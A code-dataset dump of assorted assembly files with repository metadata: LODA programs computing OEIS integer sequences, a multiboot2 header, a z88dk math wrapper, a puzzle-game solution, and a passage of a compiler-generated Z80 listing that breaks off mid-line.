{"size":555,"ext":"asm","lang":"Assembly","max_stars_count":11.0,"content":"; A017049: a(n) = (7*n + 5)^9.\n; 1953125,5159780352,322687697779,5429503678976,46411484401953,262144000000000,1119130473102767,3904305912313344,11694146092834141,31087100296429568,75084686279296875,167619550409708032,350356403707485209,692533995824480256,1304773183829244583,2357947691000000000,4108400332687853397,6930988311686938624,11361656654439817571,18151468971815029248,28334269484119140625,43310409649448026112,64949246777441383839,95713410696980686336,138808137876363860813,198359290368000000000,279624009566694318427\n\nmul $0,7\nadd $0,5\npow $0,9\n","avg_line_length":79.2857142857,"max_line_length":495,"alphanum_fraction":0.8918918919} {"size":115,"ext":"asm","lang":"Assembly","max_stars_count":35.0,"content":"jal test1\ntest1:\njal test2\ntest2:\njal test3\ntest3:\njal test4\ntest4:\njal test5\ntest5:\njal test6\ntest6:\nli $a0, 1000\n","avg_line_length":8.2142857143,"max_line_length":12,"alphanum_fraction":0.747826087} {"size":677,"ext":"asm","lang":"Assembly","max_stars_count":11.0,"content":"; A052945: Number of compositions of n when each odd part can be of two kinds.\n; 1,2,5,14,38,104,284,776,2120,5792,15824,43232,118112,322688,881600,2408576,6580352,17977856,49116416,134188544,366609920,1001596928,2736413696,7476021248,20424869888,55801782272,152453304320,416510173184,1137926955008,3108874256384,8493602422784,23204953358336,63397111562240,173204129841152,473202482806784,1292813225295872,3532031416205312,9649689283002368,26363441398415360,72026261362835456,196779405522501632,537611333770674176,1468781478586351616,4012785624714051584,10963134206600806400\n\nmov $1,1\nlpb $0\n sub $0,1\n add $2,$3\n add $2,$1\n sub $1,$3\n mov $3,$1\n add $1,$2\nlpe\nmov $0,$1\n","avg_line_length":48.3571428571,"max_line_length":495,"alphanum_fraction":0.8212703102} {"size":931,"ext":"asm","lang":"Assembly","max_stars_count":22.0,"content":"; A211618: Number of ordered triples (w,x,y) with all terms in {-n,...-1,1,...,n} and 2w+x+y>1.\n; 0,3,24,89,218,439,772,1245,1878,2699,3728,4993,6514,8319,10428,12869,15662,18835,22408,26409,30858,35783,41204,47149,53638,60699,68352,76625,85538,95119,105388,116373,128094,140579,153848,167929,182842,198615,215268,232829,251318,270763,291184,312609,335058,358559,383132,408805,435598,463539,492648,522953,554474,587239,621268,656589,693222,731195,770528,811249,853378,896943,941964,988469,1036478,1086019,1137112,1189785,1244058,1299959,1357508,1416733,1477654,1540299,1604688,1670849,1738802,1808575,1880188,1953669,2029038,2106323,2185544,2266729,2349898,2435079,2522292,2611565,2702918,2796379,2891968,2989713,3089634,3191759,3296108,3402709,3511582,3622755,3736248,3852089\n\nmov $4,$0\nsub $4,1\npow $4,3\ndiv $4,2\nmul $4,2\nmov $5,9\nadd $5,$4\nmov $1,$5\nsub $1,9\nmov $3,$0\nmul $3,$0\nmul $3,$0\nmov $2,$3\nmul $2,3\nadd $1,$2\nmov $0,$1\n","avg_line_length":46.55,"max_line_length":680,"alphanum_fraction":0.7701396348} {"size":2029,"ext":"asm","lang":"Assembly","max_stars_count":22.0,"content":"; A227653: a(1) = least k such that 1\/2 + 1\/3 < H(k) - H(3); a(2) = least k such that H(a(1)) - H(3) < H(k) -H(a(1)), and for n > 2, a(n) = least k such that H(a(n-1)) - H(a(n-2) > H(k) - H(a(n-1)), where H = harmonic number.\n; 8,21,54,138,352,897,2285,5820,14823,37752,96148,244872,623645,1588311,4045140,10302237,26237926,66823230,170186624,433434405,1103878665,2811378360,7160069791,18235396608,46442241368,118279949136,301237536249,767197263003,1953912011392,4976258822037,12673626918470,32277424670370,82204735081248,209360521751337,533203203254293,1357971663341172,3458507051687975,8808188969971416,22432856654971980,57132409331603352,145505864288150101,370576994562875535,943792262745504524,2403667384342034685,6121704025992449430,15590867699072438070,39707106808479360256,101126785342023608013,257551545191599014353,655936982533700996976,1670552295601024616319,4254593118927349243968,10835675515989424101232,27596496446507222062752,70283261527931217470705,178998695018359081105395,455877148011156601744248,1161036252568603502064597,2956948348166722686978838,7530810096913205477766522,19179604794561737144576480,48846968034203402453898321,124404350959881747530139645,316835274748528634658754092,806921868491142419301546151,2055083362690695220791986040,5233923868621061495544272324,13329852968423960631182076840,33948713168159677978700412045,86461203173364378084127173255,220200972483312394778136835396,560811861308148845619101256093,1428285898272974464100466520838,3637584630337410168598171133166,9264267020255943646915910043264,23594404569122271926530457740533,60090660788837897668574996657497,153039993167054010910596361098792,389765051692068191416298176595615,992660757340028291411767710947520,2528126559539178785150429959589448,6438678928110454053128925806722032,16398145173100115182820049283981033,41763095833849863203919454334273547,106363015768910295643787883759250160,270887272544770569674315271136754901,689900656692301298196337880367033510\n\nadd $0,2\nseq $0,77849 ; Expansion of (1-x)^(-1)\/(1 - 2*x - x^2 - x^3).\n","avg_line_length":338.1666666667,"max_line_length":1730,"alphanum_fraction":0.8831936915} {"size":687,"ext":"asm","lang":"Assembly","max_stars_count":11.0,"content":"; A098772: a(n) = Sum_{k=0..n} binomial(2*n,2*k)^2.\n; Submitted by Christian Krause\n; 1,2,38,452,6470,92252,1352540,20056584,300546630,4537543340,68923356788,1052049129144,16123803193628,247959261273752,3824345320438520,59132290704871952,916312070771835462,14226520736453485260,221256270142955957252,3446310324328958045400,53753604366737011495220,839455243105676416186440,13124252690843477643962760,205397724721025457950724720,3217533506933165578012643100,50445672272782033462103029752,791532924062974835638040538120,12428892245768719491339548685104,195295022443578898504510566613112\n\nmov $1,$0\nadd $1,$0\nseq $1,119358 ; Number of n-element subsets of [2n] having an even sum.\nmov $0,$1\n","avg_line_length":76.3333333333,"max_line_length":499,"alphanum_fraction":0.8602620087} {"size":426,"ext":"asm","lang":"Assembly","max_stars_count":22.0,"content":"; A003451: Number of nonequivalent dissections of an n-gon into 3 polygons by nonintersecting diagonals up to rotation.\n; 1,4,8,16,25,40,56,80,105,140,176,224,273,336,400,480,561,660,760,880,1001,1144,1288,1456,1625,1820,2016,2240,2465,2720,2976,3264,3553,3876,4200,4560,4921,5320,5720,6160,6601,7084,7568,8096,8625,9200,9776,10400\n\nmov $1,$0\nadd $0,4\nbin $0,3\nmov $2,$1\nadd $2,1\ndif $2,2\nsub $0,$2\nsub $0,3\ndiv $0,2\nadd $0,1\n","avg_line_length":30.4285714286,"max_line_length":211,"alphanum_fraction":0.7276995305} {"size":229,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":"\n; float tanh(float x)\n\nSECTION code_fp_math48\n\nPUBLIC cm48_sdcciy_tanh\n\nEXTERN cm48_sdcciy_tanh_fastcall\n\ncm48_sdcciy_tanh:\n\n pop af\n pop hl\n pop de\n \n push de\n push hl\n push af\n \n jp cm48_sdcciy_tanh_fastcall\n","avg_line_length":10.9047619048,"max_line_length":32,"alphanum_fraction":0.7205240175} {"size":1926,"ext":"asm","lang":"Assembly","max_stars_count":22.0,"content":"; A059502: a(n) = (3*n*F(2n-1) + (3-n)*F(2n))\/5 where F() = Fibonacci numbers A000045.\n; 0,1,3,9,27,80,234,677,1941,5523,15615,43906,122868,342409,950727,2631165,7260579,19982612,54865566,150316973,411015705,1121818311,3056773383,8316416134,22593883752,61301547025,166118284299,449639574897,1215751720491,3283883157848,8861749186770,23892651132341,64364212966173,173252727304059,466004178803727,1252537699142410,3364332378871644,9030851928181657,24226677417552591,64954149869404773,174052226813568435,466146924895091996,1247805276220175238,3338574694487045309,8928419451057327777,23866879799412427695,63772307725546057239,170330110571596560142,454758137793989969616,1213684577030241571873,3237976302151593069075,8635546181769244381401,23022887091335401990203,61360487784430040588384,163486469490354694857402,435455227679640890232005,1159520241299188539500709,3086672272476779573008227,8214555877157094150076191,21855606485813479944138898,58134037659714332912543940,154593217604803503417184681,411003974409687143979881943,1092447072277756843821384909,2903063983129089166740172227,7712896732572529078867906340,20487355040272047558013971054,54408203009831243637156505037,144462629028301023991252614441,383496774570722220208010051223,1017853591131737471609206607655,2701024597672455307677488264086,7166276101981651955620464593208,19010010809712605958717646249009,50419321731380458614936489945627,133702443495661542569770130229825,354495910685078194451004804877899,939754505236762344169458690164072,2490867353127302722859383578760866,6601177581774238175428514579797973,17491555726980594971683615448524845,46341830575894003893374875095772491,122760068596095605001441184540888623,325148432021848918836196659303185434,861089265302425286389892560995447852\n\nlpb $0\n sub $0,1\n mov $2,$0\n max $2,0\n seq $2,94864 ; a(0)=1, a(1)=2, a(2)=6, a(3)=18; for n >= 4, a(n) = 6*a(n-1) - 11*a(n-2) + 6*a(n-3) - a(n-4).\n add $1,$2\nlpe\nmov $0,$1\n","avg_line_length":160.5,"max_line_length":1659,"alphanum_fraction":0.8826583593} {"size":193,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":"-- HUMAN RESOURCE MACHINE PROGRAM --\n\na:\n INBOX \n COPYTO 0\n INBOX \n SUB 0\n JUMPN b\n ADD 0\n JUMP c\nb:\n COPYFROM 0\nc:\n OUTBOX \n JUMP a\n\n\n","avg_line_length":10.7222222222,"max_line_length":36,"alphanum_fraction":0.4455958549} {"size":499,"ext":"asm","lang":"Assembly","max_stars_count":1.0,"content":"section .multiboot_header\n\nheader_start:\n\ndd 0xe85250d6 ; a u32 'magic' number required by the multiboot 2 standard \ndd 0 ; architecture 0 (protected mode i386)\ndd header_end - header_start ; header length\ndd 0x100000000 - (0xe85250d6 + 0 + (header_end - header_start)) ; u32 checksum\n; this 0x100000000 hack is explained in the guide\n; (but I am a bit confused about it\n\n; insert optional multiboot tags here\n\n; required end tag\ndw 0 ; type\ndw 0 ; flags\ndd 8 ; size\nheader_end:\n","avg_line_length":26.2631578947,"max_line_length":78,"alphanum_fraction":0.7234468938} {"size":2843,"ext":"asm","lang":"Assembly","max_stars_count":1.0,"content":"; A193394: Hyper-Wiener index of a benzenoid consisting of a zig-zag chain of n hexagons (s=13; see the Gutman et al. reference).\n; 42,215,636,1513,3118,5787,9920,15981,24498,36063,51332,71025,95926,126883,164808,210677,265530,330471,406668,495353,597822,715435,849616,1001853,1173698,1366767,1582740,1823361,2090438,2385843,2711512,3069445,3461706,3890423,4357788,4866057,5417550,6014651,6659808,7355533,8104402,8909055,9772196,10696593,11685078,12740547,13865960,15064341,16338778,17692423,19128492,20650265,22261086,23964363,25763568,27662237,29663970,31772431,33991348,36324513,38775782,41349075,44048376,46877733,49841258,52943127,56187580,59578921,63121518,66819803,70678272,74701485,78894066,83260703,87806148,92535217,97452790,102563811,107873288,113386293,119107962,125043495,131198156,137577273,144186238,151030507,158115600,165447101,173030658,180871983,188976852,197351105,206000646,214931443,224149528,233660997,243472010,253588791,264017628,274764873,285836942,297240315,308981536,321067213,333504018,346298687,359458020,372988881,386898198,401192963,415880232,430967125,446460826,462368583,478697708,495455577,512649630,530287371,548376368,566924253,585938722,605427535,625398516,645859553,666818598,688283667,710262840,732764261,755796138,779366743,803484412,828157545,853394606,879204123,905594688,932574957,960153650,988339551,1017141508,1046568433,1076629302,1107333155,1138689096,1170706293,1203393978,1236761447,1270818060,1305573241,1341036478,1377217323,1414125392,1451770365,1490161986,1529310063,1569224468,1609915137,1651392070,1693665331,1736745048,1780641413,1825364682,1870925175,1917333276,1964599433,2012734158,2061748027,2111651680,2162455821,2214171218,2266808703,2320379172,2374893585,2430362966,2486798403,2544211048,2602612117,2662012890,2722424711,2783858988,2846327193,2909840862,2974411595,3040051056,3106770973,3174583138,3243499407,3313531700,3384692001,3456992358,3530444883,3605061752,3680855205,3757837546,3836021143,3915418428,3996041897,4077904110,4161017691,4245395328,4331049773,4417993842,4506240415,4595802436,4686692913,4778924918,4872511587,4967466120,5063801781,5161531898,5260669863,5361229132,5463223225,5566665726,5671570283,5777950608,5885820477,5995193730,6106084271,6218506068,6332473153,6447999622,6565099635,6683787416,6804077253,6925983498,7049520567,7174702940,7301545161,7430061838,7560267643,7692177312,7825805645,7961167506,8098277823,8237151588,8377803857,8520249750,8664504451,8810583208,8958501333,9108274202,9259917255,9413445996,9568875993,9726222878,9885502347,10046730160,10209922141,10375094178,10542262223\n\nmov $6,$0\nmul $0,2\nadd $0,2\nmov $1,$0\nmov $2,$0\nmov $3,5\nmov $5,$0\nlpb $2\n add $2,1\n lpb $5\n add $1,$0\n add $2,$1\n add $2,1\n add $4,$3\n add $4,$2\n sub $5,1\n lpe\n sub $2,$2\nlpe\nmov $1,$4\nsub $1,5\nlpb $6\n add $1,36\n sub $6,1\nlpe\nadd $1,14\n","avg_line_length":94.7666666667,"max_line_length":2450,"alphanum_fraction":0.8512135069} {"size":22601,"ext":"asm","lang":"Assembly","max_stars_count":1.0,"content":";* * * * * Small-C\/Plus z88dk * * * * *\n; Version: 16894-223f580fd-20200818\n;\n;\tReconstructed for z80 Module Assembler\n;\n;\tModule compile time: Fri Sep 25 14:55:20 2020\n\n\n\tC_LINE\t0,\"log2f16.c\"\n\n\tMODULE\tlog2f16_c\n\n\n\tINCLUDE \"z80_crt0.hdr\"\n\n\n\tC_LINE\t40,\"log2f16.c\"\n\tC_LINE\t0,\"math16.h\"\n\tC_LINE\t0,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t8,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t9,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t10,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t12,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t13,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t14,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t16,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t17,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t18,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t20,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t21,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t22,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t24,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t25,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t26,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t28,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t29,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t30,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t60,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t63,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t81,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t82,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/stdint.h\"\n\tC_LINE\t34,\"math16.h\"\n\tC_LINE\t0,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t22,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t39,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t51,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t172,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t175,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t178,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t181,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t182,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t187,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t190,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t193,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t197,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t200,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t203,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t207,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t210,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t213,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t217,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t220,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t223,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t226,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t227,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t231,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t234,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t235,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t239,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t240,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t244,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t245,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t250,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t253,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t256,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t259,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t262,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t266,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t269,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t270,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t275,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t276,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t280,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t283,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t287,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t290,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t293,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t296,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t300,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t303,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t306,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t309,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t312,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t315,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t318,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t321,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t325,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t326,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t330,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t331,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t335,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t336,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t340,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t341,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t346,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t347,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t351,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t355,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t356,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t360,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t361,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t366,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t367,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t372,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t373,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t377,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t378,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t383,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t384,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t389,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t390,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t394,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t395,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t399,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t400,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t404,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t405,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t409,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t410,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\